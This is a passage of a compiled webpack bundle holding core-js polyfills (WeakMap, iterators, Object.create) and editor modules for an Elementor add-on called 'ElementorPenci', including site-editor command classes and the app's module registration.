				while (length > j) {
					key = keys[j++];
					if (!DESCRIPTORS || isEnum.call(S, key)) T[key] = S[key];
				}
			} return T;
		} : $assign;


		/***/ }),
	/* 238 */,
	/* 239 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireWildcard = __webpack_require__(148);

		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _defineProperty2 = _interopRequireDefault(__webpack_require__(59));

		var dataCommands = _interopRequireWildcard(__webpack_require__(181));

		var Component = /*#__PURE__*/function (_$e$modules$Component) {
			(0, _inherits2.default)(Component, _$e$modules$Component);

			var _super = (0, _createSuper2.default)(Component);

			function Component() {
				(0, _classCallCheck2.default)(this, Component);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(Component, [{
				key: "getNamespace",
				value: function getNamespace() {
					return this.constructor.namespace;
				}
			}, {
				key: "defaultData",
				value: function defaultData() {
					return this.importCommands(dataCommands);
				}
			}]);
			return Component;
		}($e.modules.ComponentBase);

		exports.default = Component;
		(0, _defineProperty2.default)(Component, "namespace", 'site-editor');

		/***/ }),
	/* 240 */,
	/* 241 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";

		var LIBRARY = __webpack_require__(99);
		var $export = __webpack_require__(51);
		var redefine = __webpack_require__(31);
		var hide = __webpack_require__(29);
		var Iterators = __webpack_require__(153);
		var $iterCreate = __webpack_require__(278);
		var setToStringTag = __webpack_require__(189);
		var getPrototypeOf = __webpack_require__(281);
		var ITERATOR = __webpack_require__(13)('iterator');
		var BUGGY = !([].keys && 'next' in [].keys()); // Safari has buggy iterators w/o `next`
		var FF_ITERATOR = '@@iterator';
		var KEYS = 'keys';
		var VALUES = 'values';

		var returnThis = function () { return this; };

		module.exports = function (Base, NAME, Constructor, next, DEFAULT, IS_SET, FORCED) {
			$iterCreate(Constructor, NAME, next);
			var getMethod = function (kind) {
				if (!BUGGY && kind in proto) return proto[kind];
				switch (kind) {
					case KEYS: return function keys() { return new Constructor(this, kind); };
					case VALUES: return function values() { return new Constructor(this, kind); };
				} return function entries() { return new Constructor(this, kind); };
			};
			var TAG = NAME + ' Iterator';
			var DEF_VALUES = DEFAULT == VALUES;
			var VALUES_BUG = false;
			var proto = Base.prototype;
			var $native = proto[ITERATOR] || proto[FF_ITERATOR] || DEFAULT && proto[DEFAULT];
			var $default = $native || getMethod(DEFAULT);
			var $entries = DEFAULT ? !DEF_VALUES ? $default : getMethod('entries') : undefined;
			var $anyNative = NAME == 'Array' ? proto.entries || $native : $native;
			var methods, key, IteratorPrototype;
			// Fix native
			if ($anyNative) {
				IteratorPrototype = getPrototypeOf($anyNative.call(new Base()));
				if (IteratorPrototype !== Object.prototype && IteratorPrototype.next) {
					// Set @@toStringTag to native iterators
					setToStringTag(IteratorPrototype, TAG, true);
					// fix for some old engines
					if (!LIBRARY && typeof IteratorPrototype[ITERATOR] != 'function') hide(IteratorPrototype, ITERATOR, returnThis);
				}
			}
			// fix Array#{values, @@iterator}.name in V8 / FF
			if (DEF_VALUES && $native && $native.name !== VALUES) {
				VALUES_BUG = true;
				$default = function values() { return $native.call(this); };
			}
			// Define iterator
			if ((!LIBRARY || FORCED) && (BUGGY || VALUES_BUG || !proto[ITERATOR])) {
				hide(proto, ITERATOR, $default);
			}
			// Plug for library
			Iterators[NAME] = $default;
			Iterators[TAG] = returnThis;
			if (DEFAULT) {
				methods = {
					values: DEF_VALUES ? $default : getMethod(VALUES),
					keys: IS_SET ? $default : getMethod(KEYS),
					entries: $entries
				};
				if (FORCED) for (key in methods) {
					if (!(key in proto)) redefine(proto, key, methods[key]);
				} else $export($export.P + $export.F * (BUGGY || VALUES_BUG), NAME, methods);
			}
			return methods;
		};


		/***/ }),
	/* 242 */,
	/* 243 */
	/***/ (function(module, exports, __webpack_require__) {

		module.exports = __webpack_require__(244);

		/***/ }),
	/* 244 */
	/***/ (function(module, exports, __webpack_require__) {

		__webpack_require__(92);
		__webpack_require__(75);
		__webpack_require__(245);
		__webpack_require__(250);
		__webpack_require__(252);
		module.exports = __webpack_require__(2).WeakMap;


		/***/ }),
	/* 245 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";

		var global = __webpack_require__(8);
		var each = __webpack_require__(173)(0);
		var redefine = __webpack_require__(73);
		var meta = __webpack_require__(80);
		var assign = __webpack_require__(237);
		var weak = __webpack_require__(248);
		var isObject = __webpack_require__(9);
		var validate = __webpack_require__(174);
		var NATIVE_WEAK_MAP = __webpack_require__(174);
		var IS_IE11 = !global.ActiveXObject && 'ActiveXObject' in global;
		var WEAK_MAP = 'WeakMap';
		var getWeak = meta.getWeak;
		var isExtensible = Object.isExtensible;
		var uncaughtFrozenStore = weak.ufstore;
		var InternalMap;

		var wrapper = function (get) {
			return function WeakMap() {
				return get(this, arguments.length > 0 ? arguments[0] : undefined);
			};
		};

		var methods = {
			// 23.3.3.3 WeakMap.prototype.get(key)
			get: function get(key) {
				if (isObject(key)) {
					var data = getWeak(key);
					if (data === true) return uncaughtFrozenStore(validate(this, WEAK_MAP)).get(key);
					return data ? data[this._i] : undefined;
				}
			},
			// 23.3.3.5 WeakMap.prototype.set(key, value)
			set: function set(key, value) {
				return weak.def(validate(this, WEAK_MAP), key, value);
			}
		};

// 23.3 WeakMap Objects
		var $WeakMap = module.exports = __webpack_require__(249)(WEAK_MAP, wrapper, methods, weak, true, true);

// IE11 WeakMap frozen keys fix
		if (NATIVE_WEAK_MAP && IS_IE11) {
			InternalMap = weak.getConstructor(wrapper, WEAK_MAP);
			assign(InternalMap.prototype, methods);
			meta.NEED = true;
			each(['delete', 'has', 'get', 'set'], function (key) {
				var proto = $WeakMap.prototype;
				var method = proto[key];
				redefine(proto, key, function (a, b) {
					// store frozen objects on internal weakmap shim
					if (isObject(a) && !isExtensible(a)) {
						if (!this._f) this._f = new InternalMap();
						var result = this._f[key](a, b);
						return key == 'set' ? this : result;
						// store all the rest on native weakmap
					} return method.call(this, a, b);
				});
			});
		}


		/***/ }),
	/* 246 */
	/***/ (function(module, exports, __webpack_require__) {

// 9.4.2.3 ArraySpeciesCreate(originalArray, length)
		var speciesConstructor = __webpack_require__(247);

		module.exports = function (original, length) {
			return new (speciesConstructor(original))(length);
		};


		/***/ }),
	/* 247 */
	/***/ (function(module, exports, __webpack_require__) {

		var isObject = __webpack_require__(9);
		var isArray = __webpack_require__(87);
		var SPECIES = __webpack_require__(11)('species');

		module.exports = function (original) {
			var C;
			if (isArray(original)) {
				C = original.constructor;
				// cross-realm fallback
				if (typeof C == 'function' && (C === Array || isArray(C.prototype))) C = undefined;
				if (isObject(C)) {
					C = C[SPECIES];
					if (C === null) C = undefined;
				}
			} return C === undefined ? Array : C;
		};


		/***/ }),
	/* 248 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";

		var redefineAll = __webpack_require__(165);
		var getWeak = __webpack_require__(80).getWeak;
		var anObject = __webpack_require__(12);
		var isObject = __webpack_require__(9);
		var anInstance = __webpack_require__(166);
		var forOf = __webpack_require__(149);
		var createArrayMethod = __webpack_require__(173);
		var $has = __webpack_require__(16);
		var validate = __webpack_require__(174);
		var arrayFind = createArrayMethod(5);
		var arrayFindIndex = createArrayMethod(6);
		var id = 0;

// fallback for uncaught frozen keys
		var uncaughtFrozenStore = function (that) {
			return that._l || (that._l = new UncaughtFrozenStore());
		};
		var UncaughtFrozenStore = function () {
			this.a = [];
		};
		var findUncaughtFrozen = function (store, key) {
			return arrayFind(store.a, function (it) {
				return it[0] === key;
			});
		};
		UncaughtFrozenStore.prototype = {
			get: function (key) {
				var entry = findUncaughtFrozen(this, key);
				if (entry) return entry[1];
			},
			has: function (key) {
				return !!findUncaughtFrozen(this, key);
			},
			set: function (key, value) {
				var entry = findUncaughtFrozen(this, key);
				if (entry) entry[1] = value;
				else this.a.push([key, value]);
			},
			'delete': function (key) {
				var index = arrayFindIndex(this.a, function (it) {
					return it[0] === key;
				});
				if (~index) this.a.splice(index, 1);
				return !!~index;
			}
		};

		module.exports = {
			getConstructor: function (wrapper, NAME, IS_MAP, ADDER) {
				var C = wrapper(function (that, iterable) {
					anInstance(that, C, NAME, '_i');
					that._t = NAME;      // collection type
					that._i = id++;      // collection id
					that._l = undefined; // leak store for uncaught frozen objects
					if (iterable != undefined) forOf(iterable, IS_MAP, that[ADDER], that);
				});
				redefineAll(C.prototype, {
					// 23.3.3.2 WeakMap.prototype.delete(key)
					// 23.4.3.3 WeakSet.prototype.delete(value)
					'delete': function (key) {
						if (!isObject(key)) return false;
						var data = getWeak(key);
						if (data === true) return uncaughtFrozenStore(validate(this, NAME))['delete'](key);
						return data && $has(data, this._i) && delete data[this._i];
					},
					// 23.3.3.4 WeakMap.prototype.has(key)
					// 23.4.3.4 WeakSet.prototype.has(value)
					has: function has(key) {
						if (!isObject(key)) return false;
						var data = getWeak(key);
						if (data === true) return uncaughtFrozenStore(validate(this, NAME)).has(key);
						return data && $has(data, this._i);
					}
				});
				return C;
			},
			def: function (that, key, value) {
				var data = getWeak(anObject(key), true);
				if (data === true) uncaughtFrozenStore(that).set(key, value);
				else data[that._i] = value;
				return that;
			},
			ufstore: uncaughtFrozenStore
		};


		/***/ }),
	/* 249 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";

		var global = __webpack_require__(8);
		var $export = __webpack_require__(7);
		var meta = __webpack_require__(80);
		var fails = __webpack_require__(20);
		var hide = __webpack_require__(21);
		var redefineAll = __webpack_require__(165);
		var forOf = __webpack_require__(149);
		var anInstance = __webpack_require__(166);
		var isObject = __webpack_require__(9);
		var setToStringTag = __webpack_require__(41);
		var dP = __webpack_require__(15).f;
		var each = __webpack_require__(173)(0);
		var DESCRIPTORS = __webpack_require__(14);

		module.exports = function (NAME, wrapper, methods, common, IS_MAP, IS_WEAK) {
			var Base = global[NAME];
			var C = Base;
			var ADDER = IS_MAP ? 'set' : 'add';
			var proto = C && C.prototype;
			var O = {};
			if (!DESCRIPTORS || typeof C != 'function' || !(IS_WEAK || proto.forEach && !fails(function () {
				new C().entries().next();
			}))) {
				// create collection constructor
				C = common.getConstructor(wrapper, NAME, IS_MAP, ADDER);
				redefineAll(C.prototype, methods);
				meta.NEED = true;
			} else {
				C = wrapper(function (target, iterable) {
					anInstance(target, C, NAME, '_c');
					target._c = new Base();
					if (iterable != undefined) forOf(iterable, IS_MAP, target[ADDER], target);
				});
				each('add,clear,delete,forEach,get,has,set,keys,values,entries,toJSON'.split(','), function (KEY) {
					var IS_ADDER = KEY == 'add' || KEY == 'set';
					if (KEY in proto && !(IS_WEAK && KEY == 'clear')) hide(C.prototype, KEY, function (a, b) {
						anInstance(this, C, KEY);
						if (!IS_ADDER && IS_WEAK && !isObject(a)) return KEY == 'get' ? undefined : false;
						var result = this._c[KEY](a === 0 ? 0 : a, b);
						return IS_ADDER ? this : result;
					});
				});
				IS_WEAK || dP(C.prototype, 'size', {
					get: function () {
						return this._c.size;
					}
				});
			}

			setToStringTag(C, NAME);

			O[NAME] = C;
			$export($export.G + $export.W + $export.F, O);

			if (!IS_WEAK) common.setStrong(C, NAME, IS_MAP);

			return C;
		};


		/***/ }),
	/* 250 */
	/***/ (function(module, exports, __webpack_require__) {

// https://tc39.github.io/proposal-setmap-offrom/#sec-weakmap.of
		__webpack_require__(251)('WeakMap');


		/***/ }),
	/* 251 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";

// https://tc39.github.io/proposal-setmap-offrom/
		var $export = __webpack_require__(7);

		module.exports = function (COLLECTION) {
			$export($export.S, COLLECTION, { of: function of() {
					var length = arguments.length;
					var A = new Array(length);
					while (length--) A[length] = arguments[length];
					return new this(A);
				} });
		};


		/***/ }),
	/* 252 */
	/***/ (function(module, exports, __webpack_require__) {

// https://tc39.github.io/proposal-setmap-offrom/#sec-weakmap.from
		__webpack_require__(253)('WeakMap');


		/***/ }),
	/* 253 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";

// https://tc39.github.io/proposal-setmap-offrom/
		var $export = __webpack_require__(7);
		var aFunction = __webpack_require__(33);
		var ctx = __webpack_require__(32);
		var forOf = __webpack_require__(149);

		module.exports = function (COLLECTION) {
			$export($export.S, COLLECTION, { from: function from(source /* , mapFn, thisArg */) {
					var mapFn = arguments[1];
					var mapping, A, n, cb;
					aFunction(this);
					mapping = mapFn !== undefined;
					if (mapping) aFunction(mapFn);
					if (source == undefined) return new this();
					A = [];
					if (mapping) {
						n = 0;
						cb = ctx(mapFn, arguments[2], 2);
						forOf(source, false, function (nextItem) {
							A.push(cb(nextItem, n++));
						});
					} else {
						forOf(source, false, A.push, A);
					}
					return new this(A);
				} });
		};


		/***/ }),
	/* 254 */,
	/* 255 */,
	/* 256 */,
	/* 257 */,
	/* 258 */,
	/* 259 */,
	/* 260 */,
	/* 261 */,
	/* 262 */,
	/* 263 */,
	/* 264 */,
	/* 265 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.Templates = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _defineProperty2 = _interopRequireDefault(__webpack_require__(59));

		var Templates = /*#__PURE__*/function (_$e$modules$CommandDa) {
			(0, _inherits2.default)(Templates, _$e$modules$CommandDa);

			var _super = (0, _createSuper2.default)(Templates);

			function Templates() {
				(0, _classCallCheck2.default)(this, Templates);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(Templates, null, [{
				key: "getEndpointFormat",
				value: function getEndpointFormat() {
					return 'site-editor/templates/{id}';
				}
			}]);
			return Templates;
		}($e.modules.CommandData);

		exports.Templates = Templates;
		(0, _defineProperty2.default)(Templates, "signature", 'site-editor/templates');
		var _default = Templates;
		exports.default = _default;

		/***/ }),
	/* 266 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.ConditionsConfig = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _defineProperty2 = _interopRequireDefault(__webpack_require__(59));

		var ConditionsConfig = /*#__PURE__*/function (_$e$modules$CommandDa) {
			(0, _inherits2.default)(ConditionsConfig, _$e$modules$CommandDa);

			var _super = (0, _createSuper2.default)(ConditionsConfig);

			function ConditionsConfig() {
				(0, _classCallCheck2.default)(this, ConditionsConfig);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(ConditionsConfig, null, [{
				key: "getEndpointFormat",
				value: function getEndpointFormat() {
					return 'site-editor/conditions-config/{id}';
				}
			}]);
			return ConditionsConfig;
		}($e.modules.CommandData);

		exports.ConditionsConfig = ConditionsConfig;
		(0, _defineProperty2.default)(ConditionsConfig, "signature", 'site-editor/conditions-config');
		var _default = ConditionsConfig;
		exports.default = _default;

		/***/ }),
	/* 267 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.TemplatesConditions = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _defineProperty2 = _interopRequireDefault(__webpack_require__(59));

		var TemplatesConditions = /*#__PURE__*/function (_$e$modules$CommandDa) {
			(0, _inherits2.default)(TemplatesConditions, _$e$modules$CommandDa);

			var _super = (0, _createSuper2.default)(TemplatesConditions);

			function TemplatesConditions() {
				(0, _classCallCheck2.default)(this, TemplatesConditions);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(TemplatesConditions, null, [{
				key: "getEndpointFormat",
				value: function getEndpointFormat() {
					return 'site-editor/templates-conditions/{id}';
				}
			}]);
			return TemplatesConditions;
		}($e.modules.CommandData);

		exports.TemplatesConditions = TemplatesConditions;
		(0, _defineProperty2.default)(TemplatesConditions, "signature", 'site-editor/templates-conditions');
		var _default = TemplatesConditions;
		exports.default = _default;

		/***/ }),
	/* 268 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.TemplatesConditionsConflicts = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _defineProperty2 = _interopRequireDefault(__webpack_require__(59));

		var TemplatesConditionsConflicts = /*#__PURE__*/function (_$e$modules$CommandDa) {
			(0, _inherits2.default)(TemplatesConditionsConflicts, _$e$modules$CommandDa);

			var _super = (0, _createSuper2.default)(TemplatesConditionsConflicts);

			function TemplatesConditionsConflicts() {
				(0, _classCallCheck2.default)(this, TemplatesConditionsConflicts);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(TemplatesConditionsConflicts, null, [{
				key: "getEndpointFormat",
				value: function getEndpointFormat() {
					return "".concat(TemplatesConditionsConflicts.signature, "/{id}");
				}
			}]);
			return TemplatesConditionsConflicts;
		}($e.modules.CommandData);

		exports.TemplatesConditionsConflicts = TemplatesConditionsConflicts;
		(0, _defineProperty2.default)(TemplatesConditionsConflicts, "signature", 'site-editor/templates-conditions-conflicts');
		var _default = TemplatesConditionsConflicts;
		exports.default = _default;

		/***/ }),
	/* 269 */,
	/* 270 */,
	/* 271 */,
	/* 272 */,
	/* 273 */,
	/* 274 */,
	/* 275 */,
	/* 276 */
	/***/ (function(module, exports, __webpack_require__) {

		var $iterators = __webpack_require__(234);
		var getKeys = __webpack_require__(235);
		var redefine = __webpack_require__(31);
		var global = __webpack_require__(17);
		var hide = __webpack_require__(29);
		var Iterators = __webpack_require__(153);
		var wks = __webpack_require__(13);
		var ITERATOR = wks('iterator');
		var TO_STRING_TAG = wks('toStringTag');
		var ArrayValues = Iterators.Array;

		var DOMIterables = {
			CSSRuleList: true, // TODO: Not spec compliant, should be false.
			CSSStyleDeclaration: false,
			CSSValueList: false,
			ClientRectList: false,
			DOMRectList: false,
			DOMStringList: false,
			DOMTokenList: true,
			DataTransferItemList: false,
			FileList: false,
			HTMLAllCollection: false,
			HTMLCollection: false,
			HTMLFormElement: false,
			HTMLSelectElement: false,
			MediaList: true, // TODO: Not spec compliant, should be false.
			MimeTypeArray: false,
			NamedNodeMap: false,
			NodeList: true,
			PaintRequestList: false,
			Plugin: false,
			PluginArray: false,
			SVGLengthList: false,
			SVGNumberList: false,
			SVGPathSegList: false,
			SVGPointList: false,
			SVGStringList: false,
			SVGTransformList: false,
			SourceBufferList: false,
			StyleSheetList: true, // TODO: Not spec compliant, should be false.
			TextTrackCueList: false,
			TextTrackList: false,
			TouchList: false
		};

		for (var collections = getKeys(DOMIterables), i = 0; i < collections.length; i++) {
			var NAME = collections[i];
			var explicit = DOMIterables[NAME];
			var Collection = global[NAME];
			var proto = Collection && Collection.prototype;
			var key;
			if (proto) {
				if (!proto[ITERATOR]) hide(proto, ITERATOR, ArrayValues);
				if (!proto[TO_STRING_TAG]) hide(proto, TO_STRING_TAG, NAME);
				Iterators[NAME] = ArrayValues;
				if (explicit) for (key in $iterators) if (!proto[key]) redefine(proto, key, $iterators[key], true);
			}
		}


		/***/ }),
	/* 277 */
	/***/ (function(module, exports) {

		module.exports = function (done, value) {
			return { value: value, done: !!done };
		};


		/***/ }),
	/* 278 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";

		var create = __webpack_require__(279);
		var descriptor = __webpack_require__(88);
		var setToStringTag = __webpack_require__(189);
		var IteratorPrototype = {};

// 25.1.2.1.1 %IteratorPrototype%[@@iterator]()
		__webpack_require__(29)(IteratorPrototype, __webpack_require__(13)('iterator'), function () { return this; });

		module.exports = function (Constructor, NAME, next) {
			Constructor.prototype = create(IteratorPrototype, { next: descriptor(1, next) });
			setToStringTag(Constructor, NAME + ' Iterator');
		};


		/***/ }),
	/* 279 */
	/***/ (function(module, exports, __webpack_require__) {

// 19.1.2.2 / 15.2.3.5 Object.create(O [, Properties])
		var anObject = __webpack_require__(23);
		var dPs = __webpack_require__(280);
		var enumBugKeys = __webpack_require__(152);
		var IE_PROTO = __webpack_require__(147)('IE_PROTO');
		var Empty = function () { /* empty */ };
		var PROTOTYPE = 'prototype';

// Create object with fake `null` prototype: use iframe Object with cleared prototype
		var createDict = function () {
			// Thrash, waste and sodomy: IE GC bug
			var iframe = __webpack_require__(97)('iframe');
			var i = enumBugKeys.length;
			var lt = '<';
			var gt = '>';
			var iframeDocument;
			iframe.style.display = 'none';
			__webpack_require__(236).appendChild(iframe);
			iframe.src = 'javascript:'; // eslint-disable-line no-script-url
			// createDict = iframe.contentWindow.Object;
			// html.removeChild(iframe);
			iframeDocument = iframe.contentWindow.document;
			iframeDocument.open();
			iframeDocument.write(lt + 'script' + gt + 'document.F=Object' + lt + '/script' + gt);
			iframeDocument.close();
			createDict = iframeDocument.F;
			while (i--) delete createDict[PROTOTYPE][enumBugKeys[i]];
			return createDict();
		};

		module.exports = Object.create || function create(O, Properties) {
			var result;
			if (O !== null) {
				Empty[PROTOTYPE] = anObject(O);
				result = new Empty();
				Empty[PROTOTYPE] = null;
				// add "__proto__" for Object.getPrototypeOf polyfill
				result[IE_PROTO] = O;
			} else result = createDict();
			return Properties === undefined ? result : dPs(result, Properties);
		};


		/***/ }),
	/* 280 */
	/***/ (function(module, exports, __webpack_require__) {

		var dP = __webpack_require__(39);
		var anObject = __webpack_require__(23);
		var getKeys = __webpack_require__(235);

		module.exports = __webpack_require__(22) ? Object.defineProperties : function defineProperties(O, Properties) {
			anObject(O);
			var keys = getKeys(Properties);
			var length = keys.length;
			var i = 0;
			var P;
			while (length > i) dP.f(O, P = keys[i++], Properties[P]);
			return O;
		};


		/***/ }),
	/* 281 */
	/***/ (function(module, exports, __webpack_require__) {

// 19.1.2.9 / 15.2.3.2 Object.getPrototypeOf(O)
		var has = __webpack_require__(60);
		var toObject = __webpack_require__(93);
		var IE_PROTO = __webpack_require__(147)('IE_PROTO');
		var ObjectProto = Object.prototype;

		module.exports = Object.getPrototypeOf || function (O) {
			O = toObject(O);
			if (has(O, IE_PROTO)) return O[IE_PROTO];
			if (typeof O.constructor == 'function' && O instanceof O.constructor) {
				return O.constructor.prototype;
			} return O instanceof Object ? ObjectProto : null;
		};


		/***/ }),
	/* 282 */,
	/* 283 */,
	/* 284 */,
	/* 285 */,
	/* 286 */,
	/* 287 */,
	/* 288 */,
	/* 289 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _get3 = _interopRequireDefault(__webpack_require__(61));

		var _getPrototypeOf2 = _interopRequireDefault(__webpack_require__(25));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var BaseHookPopupAfter = /*#__PURE__*/function (_$e$modules$hookUI$Af) {
			(0, _inherits2.default)(BaseHookPopupAfter, _$e$modules$hookUI$Af);

			var _super = (0, _createSuper2.default)(BaseHookPopupAfter);

			function BaseHookPopupAfter() {
				(0, _classCallCheck2.default)(this, BaseHookPopupAfter);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(BaseHookPopupAfter, [{
				key: "run",
				value: function run() {
					var _get2;

					/**
					 * @type {PopupComponent}
					 */
					this.component = this.component || $e.components.get('document/popup');

					for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
						args[_key] = arguments[_key];
					}

					return (_get2 = (0, _get3.default)((0, _getPrototypeOf2.default)(BaseHookPopupAfter.prototype), "run", this)).call.apply(_get2, [this].concat(args));
				}
			}]);
			return BaseHookPopupAfter;
		}($e.modules.hookUI.After);

		exports.default = BaseHookPopupAfter;

		/***/ }),
	/* 290 */,
	/* 291 */,
	/* 292 */,
	/* 293 */,
	/* 294 */,
	/* 295 */,
	/* 296 */,
	/* 297 */,
	/* 298 */,
	/* 299 */,
	/* 300 */,
	/* 301 */,
	/* 302 */,
	/* 303 */,
	/* 304 */,
	/* 305 */,
	/* 306 */,
	/* 307 */,
	/* 308 */,
	/* 309 */,
	/* 310 */,
	/* 311 */,
	/* 312 */,
	/* 313 */,
	/* 314 */,
	/* 315 */,
	/* 316 */,
	/* 317 */,
	/* 318 */,
	/* 319 */,
	/* 320 */,
	/* 321 */,
	/* 322 */,
	/* 323 */,
	/* 324 */,
	/* 325 */,
	/* 326 */,
	/* 327 */,
	/* 328 */,
	/* 329 */,
	/* 330 */,
	/* 331 */,
	/* 332 */,
	/* 333 */,
	/* 334 */,
	/* 335 */,
	/* 336 */,
	/* 337 */,
	/* 338 */,
	/* 339 */,
	/* 340 */,
	/* 341 */,
	/* 342 */,
	/* 343 */,
	/* 344 */,
	/* 345 */,
	/* 346 */,
	/* 347 */,
	/* 348 */,
	/* 349 */,
	/* 350 */,
	/* 351 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _editor = _interopRequireDefault(__webpack_require__(352));

		var _editor2 = _interopRequireDefault(__webpack_require__(353));

		var _module = _interopRequireDefault(__webpack_require__(354));

		var _module2 = _interopRequireDefault(__webpack_require__(367));

		var _module3 = _interopRequireDefault(__webpack_require__(380));

		var _module4 = _interopRequireDefault(__webpack_require__(401));

		var _module5 = _interopRequireDefault(__webpack_require__(427));

		var _editor3 = _interopRequireDefault(__webpack_require__(431));

		var ElementorPenci = Marionette.Application.extend({
			config: {},
			modules: {},
			initModules: function initModules() {
				var QueryControl = __webpack_require__(432),
					Library = __webpack_require__(434),
					FlipBox = __webpack_require__(436),
					ShareButtons = __webpack_require__(437),
					AssetsManager = __webpack_require__(438),
					ThemeElements = __webpack_require__(440);

				this.modules = {
					queryControl: new QueryControl(),
					forms: new _module4.default(),
					library: new Library(),
					customCSS: new _editor.default(),
					globalWidget: new _module2.default(),
					flipBox: new FlipBox(),
					motionFX: new _editor2.default(),
					shareButtons: new ShareButtons(),
					assetsManager: new AssetsManager(),
					themeElements: new ThemeElements(),
					themeBuilder: new _module3.default(),
					siteEditor: new _editor3.default(),
					screenshots: new _module5.default(),
					// Popup is depended on Theme Builder.
					popup: new _module.default()
				};
			},
			ajax: {
				prepareArgs: function prepareArgs(args) {
					args[0] = 'penci_' + args[0];
					return args;
				},
				send: function send() {
					return elementorCommon.ajax.send.apply(elementorCommon.ajax, this.prepareArgs(arguments));
				},
				addRequest: function addRequest() {
					return elementorCommon.ajax.addRequest.apply(elementorCommon.ajax, this.prepareArgs(arguments));
				}
			},
			translate: function translate(stringKey, templateArgs) {
				return elementorCommon.translate(stringKey, null, templateArgs, this.config.i18n);
			},
			onStart: function onStart() {
				var _this = this;

				this.config = PenciElementorConfig;
				this.initModules();
				jQuery(window).on('elementor:init', function () {
					return _this.onElementorInit();
				});
			},
			onElementorInit: function onElementorInit() {
				var _this2 = this;

				elementor.on('preview:loaded', function () {
					return _this2.onElementorPreviewLoaded();
				});
			},
			onElementorPreviewLoaded: function onElementorPreviewLoaded() {
				elementor.$preview[0].contentWindow.elementorPenci = this;
			},
			libraryRemoveGetProButtons: function libraryRemoveGetProButtons() {
			},
			onActivateSuccess: function onActivateSuccess() {
				// Hide notice.
				elementor.noticeBar.onCloseClick(); // Mark site connect for insert templates connect screen.

				elementor.config.library_connect.is_connected = true;

				elementorPenci.config.isActive = true;
				elementor.notifications.showToast({
					message: elementor.translate('connected_successfully')
				});
			}
		});
		window.elementorPenci = new ElementorPenci();
		elementorPenci.start();

		/***/ }),
	/* 352 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = void 0;

		__webpack_require__(101);

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _default = /*#__PURE__*/function (_elementorModules$edi) {
			(0, _inherits2.default)(_default, _elementorModules$edi);

			var _super = (0, _createSuper2.default)(_default);

			function _default() {
				(0, _classCallCheck2.default)(this, _default);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(_default, [{
				key: "addCustomCss",
